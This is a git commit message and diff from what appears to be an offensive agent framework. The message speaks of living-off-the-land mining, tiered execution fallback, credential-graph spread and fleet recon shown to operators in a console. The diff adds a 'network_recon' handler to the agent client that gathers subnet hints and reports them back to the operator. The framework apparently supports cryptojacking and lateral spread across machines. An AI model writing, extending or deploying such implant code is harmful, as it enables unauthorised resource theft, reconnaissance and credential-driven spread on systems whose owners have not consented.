Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions
--- a/agent/client/commands_common.go
+++ b/agent/client/commands_common.go
@@ -40,6 +40,12 @@ func (c *AgentClient) handleReconCommand(action, command string) bool {
 		c.sendCommandResult(action, true, string(b))
 		return true
 	}
+	if action == "network_recon" {
+		hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts)
+		b, _ := json.Marshal(hints)
+		c.sendCommandResult(action, true, string(b))
+		return true
+	}
 	if action == "persistence_audit" {
 		report := collectPersistenceAudit()
 		b, _ := json.Marshal(report)